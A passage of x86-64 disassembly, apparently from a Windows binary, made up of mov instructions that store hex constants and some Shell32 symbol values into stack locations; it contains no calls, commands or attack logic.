mov dword [rsp + 0x8634], 0xeefd
mov dword [rsp + 0x8638], 0x3350
mov eax, 0xcae
mov word [rsp + 0x1fdc], ax
mov dword [rsp + 0x863c], 0x3f03
mov dword [rsp + 0x8640], 0x25ea
mov byte [rsp + 0x39a], 0x25
mov dword [rsp + 0x8644], 0x4d5e
mov dword [rsp + 0x8648], 0x3478
mov dword [rsp + 0x864c], 0x7882
mov dword [rsp + 0x8650], 0x74c
mov dword [rsp + 0x8654], 0x31f1
mov dword [rsp + 0x8658], 0xadf
mov dword [rsp + 0x865c], 0xef93
mov dword [rsp + 0x8660], 0x397a
mov eax, 0x673
mov word [rsp + 0x1fe0], ax
mov byte [rsp + 0x39b], SHSetInstanceExplorer
mov eax, 0x689
mov word [rsp + 0x1fe4], ax
mov dword [rsp + 0x8664], 0x3c24
mov byte [rsp + 0x39c], 0x3b
mov byte [rsp + 0x39d], 2
mov eax, 0x1fa
mov word [rsp + 0x1fe8], ax
mov dword [rsp + 0x8668], 0x72b4
mov dword [rsp + 0x866c], 0xb2cb
mov dword [rsp + 0x8670], 0x5f96
mov eax, 0x49b
mov word [rsp + 0x1fec], ax
mov dword [rsp + 0x8674], 0x53e0
mov byte [rsp + 0x39e], 0x62
mov dword [rsp + 0x8678], 0x5f9a
mov byte [rsp + 0x39f], 0x68
mov eax, 0x7d5
mov word [rsp + 0x1ff0], ax
mov eax, 0xf1
mov word [rsp + 0x1ff4], ax
mov dword [rsp + 0x867c], 0x6f83
mov dword [rsp + 0x8680], 0x43e
mov eax, 0x4e7
mov word [rsp + 0x1ff8], ax
mov eax, 0x43a
mov word [rsp + 0x1ffc], ax
mov dword [rsp + 0x8684], 0x4786
mov dword [rsp + 0x8688], 0x46e0
mov dword [rsp + 0x868c], 0x9943
mov eax, 0x295
mov word [rsp + 0x2000], ax
mov byte [rsp + 0x3a0], 0xdc
mov dword [rsp + 0x8690], 0xb9e1
mov eax, 0x2d
mov word [rsp + 0x2004], ax
mov dword [rsp + 0x8694], 0x215a
mov byte [rsp + 0x3a1], 0x3b
mov dword [rsp + 0x8698], 0x3631
mov dword [rsp + 0x869c], 0x4fd8
mov dword [rsp + 0x86a0], 0x4dc6
mov byte [rsp + 0x3a2], ILFree
mov eax, 0x71f
mov word [rsp + 0x2008], ax
mov dword [rsp + 0x86a4], 0xdf9
mov eax, 0xe5b
mov word [rsp + 0x200c], ax
mov byte [rsp + 0x3a3], DrawInsert
mov byte [rsp + 0x3a4], 0xce
mov dword [rsp + 0x86a8], 0x117
mov byte [rsp + 0x3a5], 0xf9
mov byte [rsp + 0x3a6], 0x1f
mov eax, 0xf5
mov word [rsp + 0x2010], ax
mov byte [rsp + 0x3a7], 0x64
mov eax, 0x3b1
mov word [rsp + 0x2014], ax
mov dword [rsp + 0x86ac], 0x6cdd
mov eax, 0xa9c
mov word [rsp + 0x2018], ax
mov dword [rsp + 0x86b0], 0x694a
mov byte [rsp + 0x3a8], 0xe1
mov dword [rsp + 0x86b4], 0x38d6
mov eax, 0xa4
mov word [rsp + 0x201c], ax
mov dword [rsp + 0x86b8], 0x26
mov dword [rsp + 0x86bc], 0x6ddf
mov byte [rsp + 0x3a9], 6
mov eax, 0x466
mov word [rsp + 0x2020], ax
mov dword [rsp + 0x86c0], 0x637f
mov dword [rsp + 0x86c4], 0x5df8
mov dword [rsp + 0x86c8], 0x347e
mov dword [rsp + 0x86cc], 0x3b61
mov byte [rsp + 0x3aa], 2
mov dword [rsp + 0x86d0], 0x1068
mov eax, 0x323
mov word [rsp + 0x2024], ax
mov dword [rsp + 0x86d4], 0x750b
mov dword [rsp + 0x86d8], 0x644
mov eax, 0x94f
mov word [rsp + 0x2028], ax
mov byte [rsp + 0x3ab], 0x3b
mov byte [rsp + 0x3ac], 0x9f
mov byte [rsp + 0x3ad], 3
mov dword [rsp + 0x86dc], 0xbb3
mov dword [rsp + 0x86e0], 0xaf76
mov eax, 0x6f
mov word [rsp + 0x202c], ax
mov byte [rsp + 0x3ae], 0x38
mov eax, 0xb32
mov word [rsp + 0x2030], ax
mov eax, 0x33e
mov word [rsp + 0x2034], ax
mov dword [rsp + 0x86e4], 0x254b
mov byte [rsp + 0x3af], 0xf7
mov dword [rsp + 0x86e8], 0x4dad
mov dword [rsp + 0x86ec], 0x6d1d
mov dword [rsp + 0x86f0], 0x423e
mov dword [rsp + 0x86f4], 0x4a7a
mov dword [rsp + 0x86f8], 0x57e9
mov dword [rsp + 0x86fc], 0x1729
mov dword [rsp + 0x8700], 0x5627
mov byte [rsp + 0x3b0], 0x74
mov byte [rsp + 0x3b1], 0x78
mov eax, 0xeed
mov word [rsp + 0x2038], ax
mov eax, 0x42f
mov word [rsp + 0x203c], ax
mov dword [rsp + 0x8704], 0x6692
mov byte [rsp + 0x3b2], 0x2c
mov dword [rsp + 0x8708], 0x12b6
mov dword [rsp + 0x870c], 0x5338
mov byte [rsp + 0x3b3], 0x68
mov dword [rsp + 0x8710], 0x7892
mov eax, 0xacb
mov word [rsp + 0x2040], ax
mov byte [rsp + 0x3b4], 0xef
mov dword [rsp + 0x8714], 0x43c1
mov eax, 0x101
mov word [rsp + 0x2044], ax
mov byte [rsp + 0x3b5], 0x6f
mov dword [rsp + 0x8718], 0x13b9
mov eax, 0x4d3
mov word [rsp + 0x2048], ax
mov dword [rsp + 0x871c], 0x4a0
mov byte [rsp + 0x3b6], 0xa1
mov dword [rsp + 0x8720], 0xb6d1
mov dword [rsp + 0x8724], 0xf7a
mov dword [rsp + 0x8728], 0x562c
mov dword [rsp + 0x872c], 0x2756
mov eax, 0x192
mov word [rsp + 0x204c], ax
mov byte [rsp + 0x3b7], PathYetAnotherMakeUniqueName
mov eax, 0xd8d
mov word [rsp + 0x2050], ax
mov dword [rsp + 0x8730], 0x5bd9
mov dword [rsp + 0x8734], 0x16ae
mov dword [rsp + 0x8738], 0x511c
mov dword [rsp + 0x873c], 0x1c0c
mov eax, 0xd9c
mov word [rsp + 0x2054], ax
mov eax, 0x758
mov word [rsp + 0x2058], ax
mov dword [rsp + 0x8740], 0x498f
mov dword [rsp + 0x8744], 0x63c3
mov dword [rsp + 0x8748], 0x91b
mov dword [rsp + 0x874c], 0x2b45
mov dword [rsp + 0x8750], 0x7588
mov dword [rsp + 0x8754], 0x15b0
mov dword [rsp + 0x8758], 0x9b18
mov byte [rsp + 0x3b8], 0xc6
mov dword [rsp + 0x875c], 0x656
mov byte [rsp + 0x3b9], 0x8e
mov byte [rsp + 0x3ba], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0x3bb], 0x12
mov byte [rsp + 0x3bc], SHDoDragDrop
mov dword [rsp + 0x8760], 0xb03c
mov dword [rsp + 0x8764], 0x65f9
mov dword [rsp + 0x8768], 0x4e4d
mov dword [rsp + 0x876c], 0x236b
mov dword [rsp + 0x8770], 0x429e
mov eax, 0x3f5
mov word [rsp + 0x205c], ax
mov dword [rsp + 0x8774], 0xf6c
mov eax, 0x4a9
mov word [rsp + 0x2060], ax
mov dword [rsp + 0x8778], 0x1515
mov eax, 0x3d9
mov word [rsp + 0x2064], ax
mov byte [rsp + 0x3bd], 0x7c
mov dword [rsp + 0x877c], 0x6fd8
mov dword [rsp + 0x8780], 0x6317
mov dword [rsp + 0x8784], 0x26ef
mov byte [rsp + 0x3be], 0xa4
mov eax, 0xbf2
mov word [rsp + 0x2068], ax
mov dword [rsp + 0x8788], 0x6375
mov dword [rsp + 0x878c], 0x4752
mov dword [rsp + 0x8790], 0x305e
mov dword [rsp + 0x8794], 0x326b
mov dword [rsp + 0x8798], 0x32b2
mov byte [rsp + 0x3bf], 0xa3
mov dword [rsp + 0x879c], 0x4b9f
mov dword [rsp + 0x87a0], 0x4477
mov dword [rsp + 0x87a4], 0x72a4
mov dword [rsp + 0x87a8], 0x4c3
mov byte [rsp + 0x3c0], 0x6a
mov eax, 0x506
mov word [rsp + 0x206c], ax
mov byte [rsp + 0x3c1], 0x26
mov eax, 0xdb8
mov word [rsp + 0x2070], ax
mov dword [rsp + 0x87ac], 0xc414
mov eax, 0x118
mov word [rsp + 0x2074], ax
mov dword [rsp + 0x87b0], 0x4f0f
mov eax, 0xe3
mov word [rsp + 0x2078], ax
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x207c], ax
mov dword [rsp + 0x87b4], 0x2a7a
mov dword [rsp + 0x87b8], 0x3e75
mov dword [rsp + 0x87bc], 0x3745
mov dword [rsp + 0x87c0], 0x69b4
mov dword [rsp + 0x87c4], 0x1110
mov dword [rsp + 0x87c8], 0x6b4
mov dword [rsp + 0x87cc], 0x5210
mov byte [rsp + 0x3c2], 0x7a
mov dword [rsp + 0x87d0], 0x6403
mov dword [rsp + 0x87d4], 0x1fd9
mov eax, 0x441
mov word [rsp + 0x2080], ax
mov dword [rsp + 0x87d8], 0xf533
mov dword [rsp + 0x87dc], 0x6c41
mov eax, 0x5c8
mov word [rsp + 0x2084], ax
mov dword [rsp + 0x87e0], 0x7de9
mov dword [rsp + 0x87e4], 0x1776
mov byte [rsp + 0x3c3], SHSetInstanceExplorer
mov byte [rsp + 0x3c4], 0xf3
mov byte [rsp + 0x3c5], 0x6e
mov eax, 0x6ea
mov word [rsp + 0x2088], ax
mov byte [rsp + 0x3c6], SHDoDragDrop
mov eax, 0x44f
mov word [rsp + 0x208c], ax
mov eax, 0x93
mov word [rsp + 0x2090], ax
mov dword [rsp + 0x87e8], 0x48a4
mov dword [rsp + 0x87ec], 0xe23d
mov byte [rsp + 0x3c7], 0xd1
mov byte [rsp + 0x3c8], 0x3e
mov dword [rsp + 0x87f0], 0x2c3
mov dword [rsp + 0x87f4], 0x27bb
mov dword [rsp + 0x87f8], 0x5eea
mov dword [rsp + 0x87fc], 0x1ea
mov eax, 0x473
mov word [rsp + 0x2094], ax
mov dword [rsp + 0x8800], 0x4f86
mov eax, 0x666
mov word [rsp + 0x2098], ax
mov dword [rsp + 0x8804], 0x4cff
mov dword [rsp + 0x8808], 0x2538
mov eax, 0x280
mov word [rsp + 0x209c], ax
mov dword [rsp + 0x880c], 0x1719
mov eax, 0x507
mov word [rsp + 0x20a0], ax
mov byte [rsp + 0x3c9], 0x2c
mov eax, 0x4c0
mov word [rsp + 0x20a4], ax
mov eax, 0xd10
mov word [rsp + 0x20a8], ax
mov eax, 0xf5
mov word [rsp + 0x20ac], ax
mov eax, 0x70d
mov word [rsp + 0x20b0], ax
mov byte [rsp + 0x3ca], 0x6f
mov byte [rsp + 0x3cb], 0xf0
mov dword [rsp + 0x8810], 0x7d38
mov dword [rsp + 0x8814], 0x1ae5
mov dword [rsp + 0x8818], 0x9d0e
mov dword [rsp + 0x881c], 0x1feb
mov eax, 0xede
mov word [rsp + 0x20b4], ax
mov byte [rsp + 0x3cc], 0x66
mov dword [rsp + 0x8820], 0x70a
mov dword [rsp + 0x8824], 0x586
mov byte [rsp + 0x3cd], ILFree
mov dword [rsp + 0x8828], 0xfd4
mov dword [rsp + 0x882c], 0x4fd0
mov dword [rsp + 0x8830], 0x274
mov byte [rsp + 0x3ce], 0xd3
mov dword [rsp + 0x8834], 0x5c9c
mov byte [rsp + 0x3cf], 0x6a
mov dword [rsp + 0x8838], 0x16ec
mov dword [rsp + 0x883c], 0x2302
mov eax, 0xa56
mov word [rsp + 0x20b8], ax
mov dword [rsp + 0x8840], 0x4664
mov dword [rsp + 0x8844], 0x6d30
mov byte [rsp + 0x3d0], 0x79
mov dword [rsp + 0x8848], 0x633e
mov dword [rsp + 0x884c], 0x2069
mov dword [rsp + 0x8850], 0x6820
mov dword [rsp + 0x8854], 0x4626
mov byte [rsp + 0x3d1], SHDoDragDrop
mov eax, 0xc41
mov word [rsp + 0x20bc], ax
mov byte [rsp + 0x3d2], 0x29
mov byte [rsp + 0x3d3], 0xfb
mov dword [rsp + 0x8858], 0x5797
mov dword [rsp + 0x885c], 0x18bd
mov eax, 0xf4
mov word [rsp + 0x20c0], ax
mov eax, 0x5da
mov word [rsp + 0x20c4], ax
mov dword [rsp + 0x8860], 0x4d46
mov eax, 0xb16
mov word [rsp + 0x20c8], ax
mov dword [rsp + 0x8864], 0x78a8
mov dword [rsp + 0x8868], 0x5c1f
mov dword [rsp + 0x886c], 0x4dcc
mov byte [rsp + 0x3d4], 0x86
mov dword [rsp + 0x8870], 0x1626
mov dword [rsp + 0x8874], 0x4fa2
mov eax, 0xd4f
mov word [rsp + 0x20cc], ax
mov dword [rsp + 0x8878], 0x1650
mov dword [rsp + 0x887c], 0x388b
mov dword [rsp + 0x8880], 0x104e
mov eax, 0x7ba
mov word [rsp + 0x20d0], ax
mov eax, 0x491
mov word [rsp + 0x20d4], ax
mov byte [rsp + 0x3d5], 0xe5
mov dword [rsp + 0x8884], 0x6504
mov dword [rsp + 0x8888], 0x1331
mov dword [rsp + 0x888c], 0x3586
mov byte [rsp + 0x3d6], 0x84
mov eax, 0x46e
mov word [rsp + 0x20d8], ax
mov dword [rsp + 0x8890], 0x5442
mov eax, 0x309
mov word [rsp + 0x20dc], ax
mov byte [rsp + 0x3d7], 0xc1
mov dword [rsp + 0x8894], 0x265a
mov dword [rsp + 0x8898], 0x7ee5
mov dword [rsp + 0x889c], 0x34b9
mov dword [rsp + 0x88a0], 0x6090
mov dword [rsp + 0x88a4], 0x25df
mov byte [rsp + 0x3d8], 0x4f
mov eax, 0xabd
mov word [rsp + 0x20e0], ax
mov byte [rsp + 0x3d9], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x3da], 0x15
mov eax, 0x11a
mov word [rsp + 0x20e4], ax
mov byte [rsp + 0x3db], 0x6e
mov eax, 0x51c
mov word [rsp + 0x20e8], ax
mov eax, 0x192
mov word [rsp + 0x20ec], ax
mov dword [rsp + 0x88a8], 0x5b32
mov dword [rsp + 0x88ac], 0x7283
mov eax, 0x10b
mov word [rsp + 0x20f0], ax
mov eax, 0x4c5
mov word [rsp + 0x20f4], ax
mov eax, 0x63
mov word [rsp + 0x20f8], ax
mov dword [rsp + 0x88b0], 0x5fc8
mov eax, 0xe5c
mov word [rsp + 0x20fc], ax
mov byte [rsp + 0x3dc], 0x64
mov byte [rsp + 0x3dd], 0x22
mov dword [rsp + 0x88b4], 0xf5c3
mov dword [rsp + 0x88b8], 0x8cca
mov dword [rsp + 0x88bc], 0x394a
mov dword [rsp + 0x88c0], 0xee15
mov dword [rsp + 0x88c4], 0x31eb
mov eax, 0x75f
mov word [rsp + 0x2100], ax
mov eax, 0x33e
mov word [rsp + 0x2104], ax
mov dword [rsp + 0x88c8], 0x1673
mov byte [rsp + 0x3de], 0x16
mov dword [rsp + 0x88cc], 0x33c5
mov dword [rsp + 0x88d0], 0x4f94
mov dword [rsp + 0x88d4], 0x177a
mov dword [rsp + 0x88d8], 0x3db6
mov eax, 0xec3
mov word [rsp + 0x2108], ax
mov dword [rsp + 0x88dc], 0x767d
mov eax, 0xba6
mov word [rsp + 0x210c], ax
mov eax, 0x84
mov word [rsp + 0x2110], ax
mov eax, 0x418
mov word [rsp + 0x2114], ax
mov dword [rsp + 0x88e0], 0xfb39
mov eax, 0x579
mov word [rsp + 0x2118], ax
mov byte [rsp + 0x3df], 0x39
mov dword [rsp + 0x88e4], 0x4db5
mov dword [rsp + 0x88e8], 0x7829
mov dword [rsp + 0x88ec], 0xb014
mov byte [rsp + 0x3e0], 0x6d
mov byte [rsp + 0x3e1], 0xa2
mov dword [rsp + 0x88f0], 0xf3d7
mov eax, 0xb8a
mov word [rsp + 0x211c], ax
mov dword [rsp + 0x88f4], 0x5caf
mov dword [rsp + 0x88f8], 0x628b
mov dword [rsp + 0x88fc], 0x4d7e
mov byte [rsp + 0x3e2], 0x3f
mov eax, 0xb16
mov word [rsp + 0x2120], ax
mov eax, 0x104
mov word [rsp + 0x2124], ax
mov dword [rsp + 0x8900], 0x6579
mov byte [rsp + 0x3e3], 0x82
mov byte [rsp + 0x3e4], SHDoDragDrop
mov eax, 0x69d
mov word [rsp + 0x2128], ax
mov dword [rsp + 0x8904], 0x29a5
mov dword [rsp + 0x8908], 0x1e54
mov dword [rsp + 0x890c], 0xf8b0
mov dword [rsp + 0x8910], 0x78f0
mov dword [rsp + 0x8914], 0x61ae
mov eax, 0x457
mov word [rsp + 0x212c], ax
mov dword [rsp + 0x8918], 0xf87f
mov dword [rsp + 0x891c], 0x708f
mov eax, 0xd89
mov word [rsp + 0x2130], ax
mov eax, 0xa76
mov word [rsp + 0x2134], ax
mov dword [rsp + 0x8920], 0xbcae
mov byte [rsp + 0x3e5], 0x3a
mov dword [rsp + 0x8924], 0x4dec
mov dword [rsp + 0x8928], 0x4e39
mov eax, 0x17
mov word [rsp + 0x2138], ax
mov dword [rsp + 0x892c], 0x1547
mov dword [rsp + 0x8930], 0x5a59
mov dword [rsp + 0x8934], 0x3781
mov byte [rsp + 0x3e6], 0x21
mov dword [rsp + 0x8938], 0x330a
mov dword [rsp + 0x893c], 0xb78f
mov eax, 0x928
mov word [rsp + 0x213c], ax
mov dword [rsp + 0x8940], 0xb468
mov dword [rsp + 0x8944], 0x3a8d
mov dword [rsp + 0x8948], 0x1a08
mov dword [rsp + 0x894c], 0xf54a
mov dword [rsp + 0x8950], 0x7a3a
mov dword [rsp + 0x8954], 0x180
mov dword [rsp + 0x8958], 0xc5b
mov dword [rsp + 0x895c], 0x2ef8
mov dword [rsp + 0x8960], 0xac4f
mov dword [rsp + 0x8964], 0x6da7
mov dword [rsp + 0x8968], 0x207d
mov dword [rsp + 0x896c], 0x2d5f
mov byte [rsp + 0x3e7], 0x43
mov eax, 0x630
mov word [rsp + 0x2140], ax
mov dword [rsp + 0x8970], 0xd04a
mov eax, 0xe96
mov word [rsp + 0x2144], ax
mov byte [rsp + 0x3e8], 0xdb
mov dword [rsp + 0x8974], 0x1170
mov byte [rsp + 0x3e9], 0xad
mov eax, 0xdfd
mov word [rsp + 0x2148], ax
mov dword [rsp + 0x8978], 0x98
mov dword [rsp + 0x897c], 0x2978
mov eax, 0x692
mov word [rsp + 0x214c], ax
mov dword [rsp + 0x8980], 0x1e12
mov byte [rsp + 0x3ea], 0xf
mov eax, 0xdb9
mov word [rsp + 0x2150], ax
mov dword [rsp + 0x8984], 0x15e0
mov dword [rsp + 0x8988], 0x48a0
mov dword [rsp + 0x898c], 0x76b7
mov dword [rsp + 0x8990], 0x4b1a
mov dword [rsp + 0x8994], 0x11b0
mov byte [rsp + 0x3eb], 0x17
mov dword [rsp + 0x8998], 0xcc26
mov dword [rsp + 0x899c], 0x6fb3
mov byte [rsp + 0x3ec], 2
mov dword [rsp + 0x89a0], 0x5133
mov dword [rsp + 0x89a4], 0xc3f6
mov dword [rsp + 0x89a8], 0x5cc
mov dword [rsp + 0x89ac], 0x5fa1
mov dword [rsp + 0x89b0], 0x91b
mov eax, 0x478
mov word [rsp + 0x2154], ax
mov byte [rsp + 0x3ed], 0x54
mov eax, 0x530
mov word [rsp + 0x2158], ax
mov dword [rsp + 0x89b4], 0x559c
mov dword [rsp + 0x89b8], 0xf602
mov dword [rsp + 0x89bc], 0x3b4a
mov byte [rsp + 0x3ee], 0xd
mov dword [rsp + 0x89c0], 0x26a3
mov dword [rsp + 0x89c4], 0xcfd
mov eax, 0x13
mov word [rsp + 0x215c], ax
mov dword [rsp + 0x89c8], 0x6d3f
mov byte [rsp + 0x3ef], 0x60
mov dword [rsp + 0x89cc], 0x383f
mov eax, 0x93
mov word [rsp + 0x2160], ax
mov dword [rsp + 0x89d0], 0xcf39
mov dword [rsp + 0x89d4], 0x4a0d
mov dword [rsp + 0x89d8], 0xe995
mov dword [rsp + 0x89dc], 0x4042
mov eax, 0x289
mov word [rsp + 0x2164], ax
mov dword [rsp + 0x89e0], 0x6778
mov dword [rsp + 0x89e4], 0x58b6
mov dword [rsp + 0x89e8], 0x1525
mov eax, 0x603
mov word [rsp + 0x2168], ax
mov dword [rsp + 0x89ec], 0xfc24
mov byte [rsp + 0x3f0], 0x6c
mov dword [rsp + 0x89f0], 0x9b4b
mov byte [rsp + 0x3f1], 0x91
mov dword [rsp + 0x89f4], 0x4194
mov byte [rsp + 0x3f2], 0x21
mov byte [rsp + 0x3f3], 0xa6
mov dword [rsp + 0x89f8], 0x6833
mov dword [rsp + 0x89fc], 0x830f
mov dword [rsp + 0x8a00], 0xdd9a
mov dword [rsp + 0x8a04], 0x499d
mov eax, 0xd95
mov word [rsp + 0x216c], ax
mov dword [rsp + 0x8a08], 0xbbc7
mov dword [rsp + 0x8a0c], 0x5aec
mov byte [rsp + 0x3f4], 0x65
mov eax, 0xbac
mov word [rsp + 0x2170], ax
mov eax, 0x1fe
mov word [rsp + 0x2174], ax
mov eax, 0xca2
mov word [rsp + 0x2178], ax
mov eax, 0xa82
mov word [rsp + 0x217c], ax
mov dword [rsp + 0x8a10], 0x2def
mov dword [rsp + 0x8a14], 0x66ff
mov dword [rsp + 0x8a18], 0xe06c
mov eax, 0x1b2
mov word [rsp + 0x2180], ax
mov dword [rsp + 0x8a1c], 0x5d54
mov eax, 0x5e0
mov word [rsp + 0x2184], ax
mov byte [rsp + 0x3f5], 0x7d
mov eax, 0xd8e
mov word [rsp + 0x2188], ax
mov dword [rsp + 0x8a20], 0xf83b
mov dword [rsp + 0x8a24], 0x5fee
mov eax, 0x50
mov word [rsp + 0x218c], ax
mov eax, 0xd3a
mov word [rsp + 0x2190], ax
mov dword [rsp + 0x8a28], 0x427a
mov dword [rsp + 0x8a2c], 0xc4a
mov byte [rsp + 0x3f6], 0x8c
mov dword [rsp + 0x8a30], 0x6d4a
mov byte [rsp + 0x3f7], 0xf
mov eax, 0x401
mov word [rsp + 0x2194], ax
mov dword [rsp + 0x8a34], 0x5f1b
mov dword [rsp + 0x8a38], 0x3ffb
mov dword [rsp + 0x8a3c], 0x706a
mov dword [rsp + 0x8a40], 0x5230
mov eax, 0xe26
mov word [rsp + 0x2198], ax
mov eax, 0x9e1
mov word [rsp + 0x219c], ax
mov dword [rsp + 0x8a44], 0xaced
mov byte [rsp + 0x3f8], 0x39
mov dword [rsp + 0x8a48], 0x731b
mov eax, 0x744
mov word [rsp + 0x21a0], ax
mov dword [rsp + 0x8a4c], 0x468e
mov dword [rsp + 0x8a50], 0x183e
mov dword [rsp + 0x8a54], 0xb752
mov dword [rsp + 0x8a58], 0x31ad
mov byte [rsp + 0x3f9], 0x8e
mov dword [rsp + 0x8a5c], 0xe0ab
mov dword [rsp + 0x8a60], 0x659f
mov eax, 0x67a
mov word [rsp + 0x21a4], ax
mov dword [rsp + 0x8a64], 0x1cb8
mov eax, 0x95d
mov word [rsp + 0x21a8], ax
mov dword [rsp + 0x8a68], 0xa45e
mov eax, 0xafe
mov word [rsp + 0x21ac], ax
mov dword [rsp + 0x8a6c], 0xe82a
mov eax, 0x54f
mov word [rsp + 0x21b0], ax
mov eax, 0x940
mov word [rsp + 0x21b4], ax
mov dword [rsp + 0x8a70], 0x19fe
mov byte [rsp + 0x3fa], 0xb7
mov dword [rsp + 0x8a74], 0x6d7b
mov byte [rsp + 0x3fb], 0x4d
mov byte [rsp + 0x3fc], 0x9e
mov dword [rsp + 0x8a78], 0x2ae0
mov byte [rsp + 0x3fd], 0x61
mov dword [rsp + 0x8a7c], 0x271f
mov byte [rsp + 0x3fe], 0xdb
mov dword [rsp + 0x8a80], 0xb6ec
mov dword [rsp + 0x8a84], 0xcca4
mov byte [rsp + 0x3ff], 0x1a
mov dword [rsp + 0x8a88], 0x7599
mov dword [rsp + 0x8a8c], 0xba04
mov dword [rsp + 0x8a90], 0x6390
mov dword [rsp + 0x8a94], 0xffe9
mov dword [rsp + 0x8a98], 0x5a09
mov dword [rsp + 0x8a9c], 0x63b0
mov eax, 0x5d3
mov word [rsp + 0x21b8], ax
mov dword [rsp + 0x8aa0], 0x516c
mov byte [rsp + 0x400], 0xf1
mov dword [rsp + 0x8aa4], 0x48c7
mov byte [rsp + 0x401], 0x21
mov eax, 0x537
mov word [rsp + 0x21bc], ax
mov dword [rsp + 0x8aa8], 0x7755
mov dword [rsp + 0x8aac], 0x2eed
mov dword [rsp + 0x8ab0], 0xc62c
mov dword [rsp + 0x8ab4], 0xc9a2
mov eax, 0x1fd
mov word [rsp + 0x21c0], ax
mov dword [rsp + 0x8ab8], 0x5975
mov dword [rsp + 0x8abc], 0x7310
mov eax, 0xff3
mov word [rsp + 0x21c4], ax
mov eax, 0x8dc
mov word [rsp + 0x21c8], ax
mov eax, 0x762
mov word [rsp + 0x21cc], ax
mov dword [rsp + 0x8ac0], 0x5911
mov dword [rsp + 0x8ac4], 0x6910
mov eax, 0x6d9
mov word [rsp + 0x21d0], ax
mov dword [rsp + 0x8ac8], 0x161b
mov byte [rsp + 0x402], 0x81
mov dword [rsp + 0x8acc], 0x5318
mov dword [rsp + 0x8ad0], 0x4df7
mov dword [rsp + 0x8ad4], 0xcbd8
mov byte [rsp + 0x403], 0x2c
mov dword [rsp + 0x8ad8], 0x39f5
mov dword [rsp + 0x8adc], 0x25e0
mov byte [rsp + 0x404], 0x4d
mov byte [rsp + 0x405], 0x89
mov dword [rsp + 0x8ae0], 0x6820
mov byte [rsp + 0x406], 0x9f
mov eax, 0x35d
mov word [rsp + 0x21d4], ax
mov eax, 0x694
mov word [rsp + 0x21d8], ax
mov dword [rsp + 0x8ae4], 0x2d5a
mov dword [rsp + 0x8ae8], 0x2ece
mov dword [rsp + 0x8aec], 0x2b91
mov eax, 0x710
mov word [rsp + 0x21dc], ax
mov byte [rsp + 0x407], 0x1a
mov eax, 0x726
mov word [rsp + 0x21e0], ax
mov eax, 0x5fa
mov word [rsp + 0x21e4], ax
mov dword [rsp + 0x8af0], 0x7597
mov byte [rsp + 0x408], 0x4f
mov dword [rsp + 0x8af4], 0x3b0e
mov dword [rsp + 0x8af8], 0x6865
mov dword [rsp + 0x8afc], 0x291b
mov eax, 0x2c4
mov word [rsp + 0x21e8], ax
mov dword [rsp + 0x8b00], 0x2c08
mov byte [rsp + 0x409], 0xfa
mov dword [rsp + 0x8b04], 0x65ce
mov byte [rsp + 0x40a], 0xb9
mov dword [rsp + 0x8b08], 0xd6dd
mov dword [rsp + 0x8b0c], 0x43fe
mov eax, 0xf73
mov word [rsp + 0x21ec], ax
mov dword [rsp + 0x8b10], 0x3712
mov byte [rsp + 0x40b], 0x74
mov dword [rsp + 0x8b14], 0x5af2
mov byte [rsp + 0x40c], 0x3e
mov dword [rsp + 0x8b18], 0x6dc4
mov dword [rsp + 0x8b1c], 0xa403
mov dword [rsp + 0x8b20], 0x228b
mov byte [rsp + 0x40d], 0x56
mov byte [rsp + 0x40e], 0x36
mov dword [rsp + 0x8b24], 0x667
mov eax, 0x48c
mov word [rsp + 0x21f0], ax
mov eax, 0xa97
mov word [rsp + 0x21f4], ax
mov eax, 0x977
mov word [rsp + 0x21f8], ax
mov dword [rsp + 0x8b28], 0x3c0f
mov dword [rsp + 0x8b2c], 0x5375
mov dword [rsp + 0x8b30], 0xec4
mov dword [rsp + 0x8b34], 0x7e92
mov dword [rsp + 0x8b38], 0xd37d
mov byte [rsp + 0x40f], 0x6f
mov byte [rsp + 0x410], 0x7e
mov eax, 0x47f
mov word [rsp + 0x21fc], ax
mov byte [rsp + 0x411], 0x54
mov dword [rsp + 0x8b3c], 0x2025
mov eax, 0x2d0
mov word [rsp + 0x2200], ax
mov eax, 0xa7b
mov word [rsp + 0x2204], ax
mov dword [rsp + 0x8b40], 0x587e
mov dword [rsp + 0x8b44], 0x6f59
mov byte [rsp + 0x412], 0x7d
mov dword [rsp + 0x8b48], 0xfff
mov dword [rsp + 0x8b4c], 0x4f39
mov eax, 0xb0e
mov word [rsp + 0x2208], ax
mov dword [rsp + 0x8b50], 0xbc7f
mov byte [rsp + 0x413], 0xca
mov byte [rsp + 0x414], 0xf8
mov eax, 0x91e
mov word [rsp + 0x220c], ax
mov dword [rsp + 0x8b54], 0x3746
mov eax, 0xd20
mov word [rsp + 0x2210], ax
mov byte [rsp + 0x415], 0x3b
mov dword [rsp + 0x8b58], 0x58fd
mov eax, 0x2de
mov word [rsp + 0x2214], ax
mov dword [rsp + 0x8b5c], 0x7644
mov dword [rsp + 0x8b60], 0xf42e
mov byte [rsp + 0x416], 0x4e
mov dword [rsp + 0x8b64], 0x1c81
mov dword [rsp + 0x8b68], 0x44a9
mov eax, 0x503
mov word [rsp + 0x2218], ax
mov eax, 0xe8f
mov word [rsp + 0x221c], ax
mov eax, 0x1f
mov word [rsp + 0x2220], ax
mov byte [rsp + 0x417], 0x4d
mov dword [rsp + 0x8b6c], 0x5e3f
mov dword [rsp + 0x8b70], 0x5189
mov dword [rsp + 0x8b74], 0x372b
mov eax, 0x2a4
mov word [rsp + 0x2224], ax
mov dword [rsp + 0x8b78], 0x9704
mov byte [rsp + 0x418], 0x1e
mov dword [rsp + 0x8b7c], 0x3b37
mov byte [rsp + 0x419], 0x43
mov dword [rsp + 0x8b80], 0x30f1
mov dword [rsp + 0x8b84], 0xcde7
mov dword [rsp + 0x8b88], 0x495d
mov byte [rsp + 0x41a], 0xd9
mov dword [rsp + 0x8b8c], 0x104e
mov dword [rsp + 0x8b90], 0x295c
mov dword [rsp + 0x8b94], 0x6888
mov eax, 0x73
mov word [rsp + 0x2228], ax
mov dword [rsp + 0x8b98], 0x42f8
mov eax, 0x647
mov word [rsp + 0x222c], ax
mov dword [rsp + 0x8b9c], 0x798a
mov dword [rsp + 0x8ba0], 0xf1a7
mov dword [rsp + 0x8ba4], 0x48d1
mov dword [rsp + 0x8ba8], 0x51b1
mov eax, 0x3fc
mov word [rsp + 0x2230], ax
mov eax, 0x87b
mov word [rsp + 0x2234], ax
mov dword [rsp + 0x8bac], 0x3fae
mov eax, 0xe4
mov word [rsp + 0x2238], ax
mov eax, 0xe29
